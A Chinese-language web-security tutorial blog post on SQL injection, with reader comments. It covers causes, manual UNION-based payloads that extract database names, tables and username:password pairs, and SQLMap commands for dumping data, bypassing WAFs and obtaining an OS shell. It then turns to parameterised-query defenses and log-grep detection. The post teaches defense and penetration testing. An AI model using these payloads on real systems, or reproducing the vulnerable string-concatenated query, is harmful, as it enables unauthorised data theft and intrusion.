摘要:SQL 注入常年占据 OWASP Top 10 榜首,是 Web 安全中最常见、危害最大的漏洞之一。本文通过真实案例,系统讲解 SQL 注入的原理、检测、利用和防御全流程。
---
一、什么是 SQL 注入?
2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险。
SQL 注入的本质:用户输入被当作 SQL 代码执行。
1.1 漏洞成因

// 危险代码示例 $userid = $_GET["id"]; $sql = "SELECT * FROM users WHERE id = $userid"; $result = mysqli_query($conn, $sql);
当用户访问 `?id=1 OR 1=1` 时,SQL 变为:
SELECT * FROM users WHERE id = 1 OR 1=1
结果:返回所有用户数据!
1.2 注入类型
| 类型 | 特点 | 检测难度 |
|---|---|---|
| 联合查询注入 | 使用 UNION 合并结果 | 容易 |
| 盲注 | 无回显,通过响应时间判断 | 中等 |
| 报错注入 | 利用数据库错误信息 | 容易 |
| 时间盲注 | 通过 SLEEP() 延时判断 | 困难 |
---
二、实战:手工检测 SQL 注入
2.1 基础测试
# 测试点:搜索框、URL 参数、表单输入
# 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2
判断标准:
- 页面正常 → 可能存在注入
- 报错 → 可能存在注入
- 页面异常 → 可能无注入
2.2 联合查询注入
# 判断字段数 ?id=1 ORDER BY 1-- ?id=1 ORDER BY 2-- ?id=1 ORDER BY 3-- # 当 ORDER BY 4 时报错 → 字段数为 3
# 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位
# 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()--
# 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--
# 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--
---
三、自动化:SQLMap 使用指南
3.1 基础扫描
# 检测注入点 sqlmap -u "http://target.com/page?id=1"
# 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables
# 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
# 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump
3.2 高级用法
# POST 注入 sqlmap -u "http://target.com/login" --data="username=admin&password=123"
# Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"
# 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
# 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell
---
四、SQL 注入防御方案
4.1 参数化查询(推荐)
// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();
4.2 输入验证
// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
die("非法参数");
}
// 类型转换 $id = intval($_GET["id"]);
4.3 ORM 框架
// Laravel Eloquent $user = User::find($id);
// ThinkPHP $user = Db::name("users")->find($id);
---
五、应急响应:发现 SQL 注入后
5.1 紧急处置
1. 立即下线受影响页面 2. 修改数据库密码 3. 检查数据库是否被篡改 4. 分析日志确定攻击范围 5. 修复漏洞并重新上线
5.2 日志分析
# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log
# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn
---
六、总结
SQL 注入防御核心:永远不要信任用户输入
防御优先级
1. 参数化查询(必须)
2. 输入验证(必须)
3. 最小权限原则(推荐)
4. WAF 防护(辅助)
---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试、漏洞挖掘、安全防御
发布时间:2026-03-30

北京市 1F
标题和正文完全对不上啊,讲的是 SQL 注入,图却是文件上传?
广东省韶关市 2F
现在 WAF 这么严,ORDER BY 这种基础操作还能爆出来吗?
山东省 3F
之前公司就因为这个漏了,50 万用户信息直接裸奔,太吓人了。
浙江省宁波市 4F
光看日志哪够啊,还得结合流量包分析才能抓到具体 Payload。
辽宁省大连市 5F
有没有人试过用 –tamper 绕过 WAF 的?求个简单脚本参考。
韩国 6F
别整那些花里胡哨的,老老实实用 PDO 不香吗?
山东省 7F
感觉现在的防御方案还是得靠最小权限原则,光靠代码不够。
广东省深圳市 8F
这就离谱,标题党害死人,我还以为能学到文件上传的新姿势呢。
日本 9F
这代码示例太老了,现在谁还直接拼字符串,全是 PDO 了。
山东省青岛市 10F
盲注真的搞人心态,跑半天没回显,有没有快速判断的技巧?
四川省攀枝花市 11F
之前公司就中招过,半夜被叫醒修库,那种绝望谁懂😭